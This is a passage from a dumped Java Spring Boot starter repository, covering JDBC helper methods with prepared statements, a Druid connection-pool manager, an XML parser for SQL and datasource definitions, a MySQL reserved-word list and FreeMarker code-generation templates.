connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n\n            ResultSet rs = statement.executeQuery();\n            int columnCount = rs.getMetaData().getColumnCount();\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            if(columnCount>1){\n                throw new RuntimeException(\" only allow one column \");\n            }\n            AtomicReference count = new AtomicReference();\n            while (rs.next()) {\n                columns.stream().forEach(t -> {\n                    try {\n                        count.set(rs.getObject(t));\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                StaticLog.info(\"当前查询到的count数据{}\",count.get());\n                return count.get();\n            }\n            return count.get();\n        } catch (Exception e) {\n            e.printStackTrace();\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n    public static int executeUpdate(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            int i = statement.executeUpdate();\n            return i;\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n\n\n    public static Object execute(Connection connection, String sql, List<Object> jdbcParamValues) {\n        logger.debug(sql);\n        //DruidPooledConnection connection = null;\n        try {\n            //connection = PoolManager.getPooledConnection(datasource);\n            connection.setAutoCommit(true);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            //参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n            if (hasResultSet) {\n                ResultSet rs = statement.getResultSet();\n                int columnCount = rs.getMetaData().getColumnCount();\n\n                List<String> columns = new ArrayList<>();\n                for (int i = 1; i <= columnCount; i++) {\n                    String columnName = rs.getMetaData().getColumnLabel(i);\n                    columns.add(columnName);\n                }\n                List<JSONObject> list = new ArrayList<>();\n                while (rs.next()) {\n                    JSONObject jo = new JSONObject();\n                    columns.stream().forEach(t -> {\n                        try {\n                            Object value = rs.getObject(t);\n                            jo.put(t, value);\n                        } catch (SQLException throwables) {\n                            throwables.printStackTrace();\n                        }\n                    });\n                    list.add(jo);\n                }\n                return list;\n            } else {\n                int updateCount = statement.getUpdateCount();\n                return updateCount;\n            }\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n\n\n    }\n\n\n    public static Page<JSONObject> executeQueryPage(Connection connection,String sqlStr, Map<String, Object> data, int pageNumber, int limit) {\n        logger.debug(sqlStr);\n        Page pageVo = new Page();\n//        ApiSql sql = this.sqlMap.get(namespace).get(sqlId);\n//        if (!dataSourceMap.containsKey(sql.getDatasourceId())) {\n//            throw new RuntimeException(\"datasource not found : \" + sql.getDatasourceId());\n//        }\n        try {\n            data.put(\"start\",(pageNumber-1)*(limit));\n            data.put(\"end\",pageNumber*limit);\n//        ApiDataSource dataSource = dataSourceMap.get(sql.getDatasourceId());\n            String pageSql = sqlStr+ \" LIMIT #{start}, #{end} \";\n            logger.debug(pageSql);\n            SqlMeta sqlMeta = engine.parse(pageSql, data);\n            List<JSONObject> results = JdbcUtil.executeQuery(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());//executeQuery(namespace, sqlId, data);\n\n            String totalSql = \"  select count(1) as count FROM ( \"+sqlStr+\" ) AS subquery \";\n            logger.debug(totalSql);\n            SqlMeta sqlMeta2 = engine.parse(totalSql, data);\n\n            Long totalpage = JdbcUtil.executeQueryInt(connection, sqlMeta2.getSql(), sqlMeta2.getJdbcParamValues());\n            pageVo.setList(results);\n            pageVo.setTotalRow(Math.toIntExact(totalpage));\n            pageVo.setPageNumber(pageNumber);\n            pageVo.setPageSize(limit);\n            pageVo.setTotalPage(Math.toIntExact(totalpage) / limit);\n        } catch (Exception e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return pageVo;\n    }\n\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n    //** 11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111\n\n    /**\n     * 1、查询返回List<JSONObject>\n     * 2、新增、修改、删除返回int，成功条数。\n     * 3、连接没有关闭，需要在调用方关闭\n     * @param connection\n     * @param sql\n     * @return\n     */\n    public static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam,Boolean closeConn) throws SQLException {\n        Object obj = null;\n        try {\n            obj = executeSql(connection,sql,sqlParam);\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return obj;\n    }\n    public static Object executeSql(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.executeSql(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static Object executeSql(Connection connection, String sql, List<Object> jdbcParamValues)\n            throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        try {\n            System.out.println(\"execute sql is \"+sql);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            // 参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n\n            if (hasResultSet) {\n                ResultSet rs = statement.getResultSet();\n                int columnCount = rs.getMetaData().getColumnCount();\n\n                List<String> columns = new ArrayList<>();\n                for (int i = 1; i <= columnCount; i++) {\n                    String columnName = rs.getMetaData().getColumnLabel(i);\n                    columns.add(columnName);\n                }\n                List<cn.hutool.json.JSONObject> list = new ArrayList<>();\n                while (rs.next()) {\n                    cn.hutool.json.JSONObject jo = new cn.hutool.json.JSONObject();\n                    columns.stream().forEach(t -> {\n                        try {\n                            Object value = rs.getObject(t);\n                            jo.put(t, value);\n                            if(value==null) {\n                                jo.put(t, \"\");\n                            }\n                        } catch (SQLException throwables) {\n                            throwables.printStackTrace();\n                        }\n                    });\n                    list.add(jo);\n                }\n                return list;\n            } else {\n                int updateCount = statement.getUpdateCount();\n                System.out.println(\"[\"+updateCount + \"] rows affected\");\n                return updateCount;\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n    }\n\n    public static int update(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.update(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static int update(Connection connection, String sql, List<Object> jdbcParamValues) throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        try {\n            System.out.println(\"execute sql is \"+sql);\n            PreparedStatement statement = connection.prepareStatement(sql);\n            // 参数注入\n            for (int i = 1; i <= jdbcParamValues.size(); i++) {\n                statement.setObject(i, jdbcParamValues.get(i - 1));\n            }\n            boolean hasResultSet = statement.execute();\n\n            if (hasResultSet) {\n                throw new RuntimeException(\"查询脚本调用query方法\");\n            } else {\n                int updateCount = statement.getUpdateCount();\n                System.out.println(\"[\"+updateCount + \"] rows affected\");\n                return updateCount;\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } catch (RuntimeException e) {\n            throw new RuntimeException(e);\n        } finally {\n            connection.close();\n        }\n    }\n\n    public static Long count(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        try {\n            SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n            List<Map<String,Object>> datas =  JdbcUtil.query(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n            if(datas.size()==1){\n                try {\n                    Map<String,Object> data = datas.get(0);\n                    for(String key: data.keySet()){\n                        Object val = data.get(key);\n                        return (Long) val;\n                    }\n                } catch (Exception e) {\n                    throw new RuntimeException(\"count脚本执行返回有误\");\n                }\n            }\n            if(datas.size()>1){\n                throw new RuntimeException(\"count脚本执行返回多条\");\n            }\n        } catch (SQLException e) {\n            throw new RuntimeException(e);\n        } catch (RuntimeException e) {\n            throw new RuntimeException(e);\n        }  finally {\n            try {\n                connection.close();\n            } catch (SQLException throwables) {\n                throwables.printStackTrace();\n            }\n        }\n        return 0L;\n    }\n    public static List<Map<String,Object>> query(Connection connection, String sql, Map<String, Object> sqlParam) throws SQLException {\n        SqlMeta sqlMeta = JdbcUtil.getEngine().parse(sql, sqlParam);\n        return JdbcUtil.query(connection, sqlMeta.getSql(), sqlMeta.getJdbcParamValues());\n    }\n    public static List<Map<String,Object>> query(Connection connection, String sql, List<Object> jdbcParamValues)\n            throws SQLException {\n//\t\tlog.debug(JSON.toJSONString(jdbcParamValues));\n        System.out.println(\"execute sql is \"+sql);\n        PreparedStatement statement = connection.prepareStatement(sql);\n        // 参数注入\n        for (int i = 1; i <= jdbcParamValues.size(); i++) {\n            statement.setObject(i, jdbcParamValues.get(i - 1));\n        }\n        boolean hasResultSet = statement.execute();\n        if (hasResultSet) {\n            ResultSet rs = statement.getResultSet();\n            int columnCount = rs.getMetaData().getColumnCount();\n\n            List<String> columns = new ArrayList<>();\n            for (int i = 1; i <= columnCount; i++) {\n                String columnName = rs.getMetaData().getColumnLabel(i);\n                columns.add(columnName);\n            }\n            List<Map<String,Object>> list = new ArrayList<>();\n            while (rs.next()) {\n                //JSONObject jo = new JSONObject();\n                Map<String,Object> jo = new HashMap<>();\n                columns.stream().forEach(t -> {\n                    try {\n                        Object value = rs.getObject(t);\n                        jo.put(t, value);\n                        if(value==null) {\n                            jo.put(t, null);\n                        }\n                    } catch (SQLException throwables) {\n                        throwables.printStackTrace();\n                    }\n                });\n                list.add(jo);\n            }\n            connection.close();\n            return list;\n        } else {\n            connection.close();\n            throw new RuntimeException(\"修改脚本调用update方法\");\n        }\n    }\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/utils/PoolManager.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport com.alibaba.druid.pool.DruidDataSource;\nimport com.alibaba.druid.pool.DruidPooledConnection;\nimport io.github.wujun728.sql.entity.ApiDataSource;\n\nimport java.sql.SQLException;\nimport java.util.concurrent.ConcurrentHashMap;\n\npublic class PoolManager {\n\n    //所有数据源的连接池存在map里\n    private static ConcurrentHashMap<String, DruidDataSource> map = new ConcurrentHashMap<>();\n\n    private static DruidDataSource getJdbcConnectionPool(ApiDataSource ds) {\n        if (map.containsKey(ds.getId())) {\n            return map.get(ds.getId());\n        } else {\n            DruidDataSource druidDataSource = new DruidDataSource();\n            druidDataSource.setUrl(ds.getUrl());\n            druidDataSource.setUsername(ds.getUsername());\n            druidDataSource.setDriverClassName(ds.getDriver());\n            druidDataSource.setConnectionErrorRetryAttempts(3);       //失败后重连次数\n            druidDataSource.setBreakAfterAcquireFailure(true);\n            druidDataSource.setPassword(ds.getPassword());\n            druidDataSource.setName(ds.getId());\n            map.put(ds.getId(), druidDataSource);\n            return map.get(ds.getId());\n        }\n    }\n\n    public static DruidPooledConnection getPooledConnection(ApiDataSource ds) throws SQLException {\n        DruidDataSource pool = PoolManager.getJdbcConnectionPool(ds);\n        DruidPooledConnection connection = pool.getConnection();\n        return connection;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/sql/utils/XmlParser.java",
    "content": "package io.github.wujun728.sql.utils;\n\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.sql.entity.ApiDataSource;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport org.apache.commons.lang3.StringUtils;\nimport org.w3c.dom.Document;\nimport org.w3c.dom.Element;\nimport org.w3c.dom.NamedNodeMap;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\nimport org.xml.sax.SAXException;\n\nimport javax.xml.parsers.DocumentBuilderFactory;\nimport javax.xml.parsers.ParserConfigurationException;\nimport javax.xml.transform.OutputKeys;\nimport javax.xml.transform.Transformer;\nimport javax.xml.transform.TransformerException;\nimport javax.xml.transform.TransformerFactory;\nimport javax.xml.transform.dom.DOMSource;\nimport javax.xml.transform.stream.StreamResult;\nimport java.io.ByteArrayInputStream;\nimport java.io.IOException;\nimport java.io.StringWriter;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class XmlParser {\n\n    public static void main(String[] args) throws Exception {\n        String text = \"<sqls>\\n\" +\n                \"    <defaultDB>local_mysql</defaultDB>\\n\" +\n                \"\\n\" +\n                \"    <sql id=\\\"getUser\\\">\\n\" +\n                \"        select * from user\\n\" +\n                \"        <where>\\n\" +\n                \"            <if test = \\\"id != null\\\">\\n\" +\n                \"                id &lt;= #{id}\\n\" +\n                \"            </if>\\n\" +\n                \"        </where>\\n\" +\n                \"    </sql></sqls>\";\n        Map<String, ApiSql>  data = parseSql(text);\n        StaticLog.info(JSONUtil.toJsonPrettyStr(data));\n\n//        String text = \"<datasource>\\n\" +\n//                \"    <ds id=\\\"mysql\\\">\\n\" +\n//                \"        <url>jdbc:mysql://localhost:3306/story?useSSL=false&amp;characterEncoding=UTF-8</url>\\n\" +\n//                \"        <username>root</username>\\n\" +\n//                \"        <password>root</password>\\n\" +\n//                \"    </ds>\\n\" +\n//                \"\\n\" +\n//                \"</datasource>\";\n//        parseDatasource(text);\n    }\n\n    public static Map<String, ApiDataSource> parseDatasource(String text) throws ParserConfigurationException, IOException, SAXException {\n        Map<String, ApiDataSource> map = new HashMap<>();\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        Document document = dbf.newDocumentBuilder().parse(new ByteArrayInputStream(text.getBytes()));\n        Element documentElement = document.getDocumentElement();\n        NodeList children = documentElement.getChildNodes();\n\n        for (int i = 0; i < children.getLength(); i++) {\n            Node child = children.item(i);\n\n            if (child.getNodeType() == Node.ELEMENT_NODE) {\n                if (\"datasource\".equals(child.getNodeName())) {\n                    NamedNodeMap attributes = child.getAttributes();\n                    Node idAttr = attributes.getNamedItem(\"id\");\n                    if (idAttr == null) {\n                        throw new RuntimeException(\"id attribute of <datasource> tag is missing\");\n                    }\n                    String id = idAttr.getTextContent();\n                    if (StringUtils.isBlank(id)) {\n                        throw new RuntimeException(\"id attribute of <datasource> tag is missing\");\n                    }\n\n                    ApiDataSource dataSource = new ApiDataSource();\n                    dataSource.setId(id);\n\n                    NodeList childNodes = child.getChildNodes();\n                    for (int j = 0; j < childNodes.getLength(); j++) {\n                        Node node = childNodes.item(j);\n                        if (child.getNodeType() == Node.ELEMENT_NODE) {\n                            String nodeName = node.getNodeName();\n                            if (\"url\".equals(nodeName)) {\n                                dataSource.setUrl(node.getTextContent());\n                            } else if (\"username\".equals(nodeName)) {\n                                dataSource.setUsername(node.getTextContent());\n                            } else if (\"password\".equals(nodeName)) {\n                                dataSource.setPassword(node.getTextContent());\n                            } else if (\"driver\".equals(nodeName)) {\n                                dataSource.setDriver(node.getTextContent());\n                            } else if (\"#text\".equals(nodeName)) {\n                                //回车会解析成节点\n                            } else {\n                                throw new RuntimeException(\"tag not supported under <datasource> : \" + nodeName);\n                            }\n                        }\n                    }\n                    map.put(id, dataSource);\n                } else {\n                    throw new RuntimeException(\"tag not supported : \" + child.getNodeName());\n                }\n\n            }\n        }\n        return map;\n    }\n\n    public static Map<String, ApiSql> parseSql(String text) throws ParserConfigurationException, IOException, SAXException, TransformerException {\n        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();\n        Document document = dbf.newDocumentBuilder().parse(new ByteArrayInputStream(text.getBytes()));\n        Element documentElement = document.getDocumentElement();\n        NodeList children = documentElement.getChildNodes();\n\n        Map<String, ApiSql> map = new HashMap<>();\n        String defaultDB = null;\n        for (int i = 0; i < children.getLength(); i++) {\n            Node child = children.item(i);\n            String nodeName = child.getNodeName();\n\n            if (child.getNodeType() == Node.ELEMENT_NODE) {\n                if (nodeName.equals(\"defaultDB\")) {\n                    //默认DB配置\n                    defaultDB = child.getTextContent();\n                    if (StringUtils.isBlank(defaultDB)) {\n                        throw new RuntimeException(\"defaultDB value empty\");\n                    }\n                } else if (nodeName.equalsIgnoreCase(\"sql\")) {\n\n                    NamedNodeMap attributes = child.getAttributes();\n                    Node idAttr = attributes.getNamedItem(\"id\");\n                    if (idAttr == null) {\n                        throw new RuntimeException(\"id attribute of <sql> tag is missing\");\n                    }\n                    String id = idAttr.getTextContent();\n                    if (StringUtils.isBlank(id)) {\n                        throw new RuntimeException(\"id attribute of <sql> tag is missing\");\n                    }\n\n                    Node dbAttr = attributes.getNamedItem(\"db\");\n                    String txt = nodeContentToString(child);\n\n                    ApiSql sql = new ApiSql();\n\n                    if (dbAttr != null) {\n                        String db = dbAttr.getTextContent();\n                        sql.setDatasourceId(db);\n                    }\n\n                    sql.setText(txt);\n                    sql.setId(id);\n                    sql.setType(nodeName);\n                    map.put(id, sql);\n                } else {\n                    throw new RuntimeException(\"tag not supported : \" + nodeName);\n                }\n            }\n        }\n        String finalDefaultDB = defaultDB;\n        map.keySet().forEach(t -> {\n            ApiSql sql = map.get(t);\n            if (StringUtils.isBlank(sql.getDatasourceId())) {\n                if (finalDefaultDB != null) {\n                    sql.setDatasourceId(finalDefaultDB);\n                } else {\n                    throw new RuntimeException(\"db attribute of <sql> tag is missing, and <defaultDB> tag is missing meanwhile\");\n                }\n            }\n        });\n        //TODO 检查datasource是否都已经配置\n        return map;\n\n    }\n\n    private static String nodeToString(Node node) throws TransformerException {\n        StringWriter sw = new StringWriter();\n\n        Transformer t = TransformerFactory.newInstance().newTransformer();\n        t.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, \"yes\");\n        t.setOutputProperty(OutputKeys.INDENT, \"yes\");\n        t.transform(new DOMSource(node), new StreamResult(sw));\n\n        return sw.toString();\n    }\n\n    private static String nodeContentToString(Node node) throws TransformerException {\n        NodeList nodes = node.getChildNodes();\n        StringBuilder sb = new StringBuilder();\n        for (int j = 0; j < nodes.getLength(); j++) {\n            Node n = nodes.item(j);\n            String txt = nodeToString(n);\n            sb.append(txt);\n        }\n        return sb.toString().trim();\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/META-INF/META-INF/spring.factories.bk2",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\n  io.github.wujun728.sql.ApiEngineConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/META-INF/META-INF/spring.factories.bk3",
    "content": "# org.springframework.context.ApplicationContextInitializer=\\\n# io.github.wujun728.common.config.BannerInitializer\n\norg.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.common.feign.fallback.UserServiceFallbackFactory,\\\nio.github.wujun728.common.lock.LockAspect,\\\nio.github.wujun728.groovy.util.SpringUtils"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/META-INF/spring/org.springframework.boot.autoconfigure.EnableAutoConfiguration.imports",
    "content": ""
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/META-INF/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\n  io.github.wujun728.ApiEngineConfiguration"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/mysql_key_word.txt",
    "content": "ADD\nALL\nALTER\nANALYZE\nAND\nAS\nASC\nAUTO_INCREMENT\nBDB\nBEFORE\nBERKELEYDB\nBETWEEN\nBIGINT\nBINARY\nBLOB\nBOTH\nBTREE\nBY\nCASCADE\nCASE\nCHANGE\nCHAR\nCHARACTER\nCHECK\nCOLLATE\nCOLUMN\nCOLUMNS\nCONSTRAINT\nCREATE\nCROSS\nCURRENT_DATE\nCURRENT_TIME\nCURRENT_TIMESTAMP\nDATABASE\nDATABASES\nDAY_HOUR\nDAY_MINUTE\nDAY_SECOND\nDEC\nDECIMAL\nDEFAULT\nDELAYED\nDELETE\nDESC\nDESCRIBE\nDISTINCT\nDISTINCTROW\nDIV\nDOUBLE\nDROP\nELSE\nENCLOSED\nERRORS\nESCAPED\nEXISTS\nEXPLAIN\nFALSE\nFIELDS\nFLOAT\nFOR\nFORCE\nFOREIGN\nFROM\nFULLTEXT\nFUNCTION\nGRANT\nGROUP\nHASH\nHAVING\nHIGH_PRIORITY\nHOUR_MINUTE\nHOUR_SECOND\nIF\nIGNORE\nIN\nINDEX\nINFILE\nINNER\nINNODB\nINSERT\nINT\nINTEGER\nINTERVAL\nINTO\nIS\nJOIN\nKEY\nKEYS\nKILL\nLEADING\nLEFT\nLIKE\nLIMIT\nLINES\nLOAD\nLOCALTIME\nLOCALTIMESTAMP\nLOCK\nLONG\nLONGBLOB\nLONGTEXT\nLOW_PRIORITY\nMASTER_SERVER_ID\nMATCH\nMEDIUMBLOB\nMEDIUMINT\nMEDIUMTEXT\nMIDDLEINT\nMINUTE_SECOND\nMOD\nMRG_MYISAM\nNATURAL\nNOT\nNULL\nNUMERIC\nON\nOPTIMIZE\nOPTION\nOPTIONALLY\nOR\nORDER\nOUTER\nOUTFILE\nPRECISION\nPRIMARY\nPRIVILEGES\nPROCEDURE\nPURGE\nREAD\nREAL\nREFERENCES\nREGEXP\nRENAME\nREPLACE\nREQUIRE\nRESTRICT\nRETURNS\nREVOKE\nRIGHT\nRLIKE\nRTREE\nSELECT\nSET\nSHOW\nSMALLINT\nSOME\nSONAME\nSPATIAL\nSQL_BIG_RESULT\nSQL_CALC_FOUND_ROWS\nSQL_SMALL_RESULT\nSSL\nSTARTING\nSTRAIGHT_JOIN\nSTRIPED\nTABLE\nTABLES\nTERMINATED\nTHEN\nTINYBLOB\nTINYINT\nTINYTEXT\nTO\nTRAILING\nTRUE\nTYPES\nUNION\nUNIQUE\nUNLOCK\nUNSIGNED\nUPDATE\nUSAGE\nUSE\nUSER_RESOURCES\nUSING\nVALUES\nVARBINARY\nVARCHAR\nVARCHARACTER\nVARYING\nWARNINGS\nWHEN\nWHERE\nWITH\nWRITE\nXOR\nYEAR_MONTH\nZEROFILL"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/spring.factories.bk",
    "content": "org.springframework.boot.autoconfigure.EnableAutoConfiguration=\\\nio.github.wujun728.groovy.ApiAutoConfig"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/beetlsql/${classInfo.className}.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport java.io.Serializable;\nimport lombok.Data;\nimport java.util.Date;\nimport java.util.List;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@Data<#if isSwagger?exists && isSwagger==true>\n@ApiModel(\"${classInfo.classComment}\")</#if>\npublic class ${classInfo.className} implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n<#list classInfo.fieldList as fieldItem >\n    <#if isComment?exists && isComment==true>/**\n    * ${fieldItem.fieldComment}\n    */</#if><#if isSwagger?exists && isSwagger==true>\n    @ApiModelProperty(\"${fieldItem.fieldComment}\")</#if>\n    private ${fieldItem.fieldClass} ${fieldItem.fieldName};\n\n</#list>\n    public ${classInfo.className}() {\n    }\n</#if>\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/beetlsql/${classInfo.className}.md.ftl",
    "content": "sample\n===\n\nselect #use(\"cols\")# from ${classInfo.tableName} where #use(\"condition\")#\n\ncols\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\nupdateSample\n===\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n        `${fieldItem.columnName}=#${fieldItem.fieldName}#`<#if fieldItem_has_next>,</#if>\n    </#list>\n</#if>\n\ncondition\n===\n    1 = 1\n<#if classInfo.fieldList?exists && classInfo.fieldList?size gt 0>\n    <#list classInfo.fieldList as fieldItem >\n    @if(!isEmpty(${fieldItem.fieldName})){\n      and `${fieldItem.columnName}`=#${fieldItem.fieldName}#\n    @}\n    </#list>\n</#if>\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/beetlsql/${classInfo.className}Controller.java.ftl",
    "content": "<#if isAutoImport?exists && isAutoImport==true>\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.RestController;\nimport java.util.List;\nimport java.util.Map;\n</#if>\n/**\n * @description ${classInfo.classComment}\n * @author ${authorName}\n * @date ${.now?string('yyyy-MM-dd')}\n */\n@RestController\n@RequestMapping(\"/${classInfo.className?uncap_first}\")\npublic class ${classInfo.className}Controller {\n\n    @Autowired\n    private SQLManager sqlManager;\n\n    /**\n    * 新增或编辑\n    */\n    @PostMapping(\"/save\")\n    public Object save(${classInfo.className} ${classInfo.className?uncap_first}){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,${classInfo.className?uncap_first}.getId());\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.updateById(${classInfo.className?uncap_first});\n            return ${returnUtilSuccess}(\"编辑成功\");\n        }else{\n            sqlManager.insert(${classInfo.className?uncap_first});\n            return ${returnUtilFailure}(\"保存成功\");\n        }\n    }\n\n    /**\n    * 删除\n    */\n    @PostMapping(\"/delete\")\n    public Object delete(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            sqlManager.deleteById(id);\n            return ${returnUtilSuccess}(\"删除成功\");\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 查询\n    */\n    @PostMapping(\"/find\")\n    public Object find(int id){\n        ${classInfo.className} ${classInfo.className?uncap_first}=sqlManager.unique(${classInfo.className}.class,id);\n        if(${classInfo.className?uncap_first}!=null){\n            return ${returnUtilSuccess}(${classInfo.className?uncap_first});\n        }else{\n            return ${returnUtilFailure}(\"没有找到该对象\");\n        }\n    }\n\n    /**\n    * 分页查询\n    */\n    @PostMapping(\"/list\")\n    public Object list(${classInfo.className} ${classInfo.className?uncap_first},\n                        @RequestParam(required = false, defaultValue = \"0\") int pageNumber,\n                        @RequestParam(required = false, defaultValue = \"10\") int pageSize) {\n            List<${classInfo.className}> list = sqlManager.query(${classInfo.className}.class).select();\n            return ${returnUtilSuccess}(list);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/resources/templates/bi/qliksense.ftl",
    "content": "//***************************\n//[${classInfo.classComment} - ${classInfo.tableName}]\n//AUTHOR ${authorName}\n//HISTORY ${.now?string('yyyy-MM-dd')}\n//***************************\n\n//***************************\n//load all\n[${classInfo.tableName}]:\nLOAD * FROM ['LIB://QVD/${classInfo.className}.qvd'](qvd);\n\n//***************************\n//load columns\n[${classInfo.tableName}]:\nLOAD\n<#list classInfo.fieldList as fieldItem >\n    \"${fieldItem.columnName}\" as \"${fieldItem.fieldName}\"<#if fieldItem_has_next>,</#if>\n</#list>\nFROM\n['LIB://QVD/${classInfo.className}.qvd'](qvd);\n;\n\n//load inline\n[${classInfo.tableName}]:\nLOAD * INLINE\n[\n<#list classInfo.fieldList as fieldItem >${fieldItem.columnName} <#if fieldItem_has_next>,</#if></#list>\n<#list classInfo.fieldList as fieldItem >${fieldItem.fieldName}  <#if fieldItem_has_next>,</#if></#list>\n<#list classInfo.fieldList as fieldItem >${fieldItem.fieldComment}  <#if fieldItem_has_next>,</#if></#list>\n];\n\n//***************************\n//load from api data connection (wrap on)\nLIB CONNECT TO '${classInfo.tableName}_api';\n\nRestConnectorMasterTable:\n    SQL SELECT\n    \"__KEY_root\",\n    (SELECT\n<#list classInfo.fieldList as fieldItem >\n    \"${fieldItem.columnName}\"\n</#list>\n        \"__FK_object\"\n    FROM \"object\" FK \"__FK_object\")\n    FROM JSON (wrap on) \"root\" PK \"__KEY_root\"\n//    WITH CONNECTION (\n//    Url \"https://localhost:8080/${classInfo.tableName}_api\",\n//    QUERY \"page\" \"1\",\n//    QUERY \"size\" \"100\",\n//    HTTPHEADER \"token\" \"123456\",\n//    BODY \"Post body here\")\n;\n\n[${classInfo.className}]:\nLOAD\n<#list classInfo.fieldList as fieldItem >\n    [${fieldItem.columnName}] as [${fieldItem.fieldName}]\n</#list>\n    [__FK_object] AS [__KEY_root]\nRESIDENT RestConnectorMasterTable\nWHERE NOT 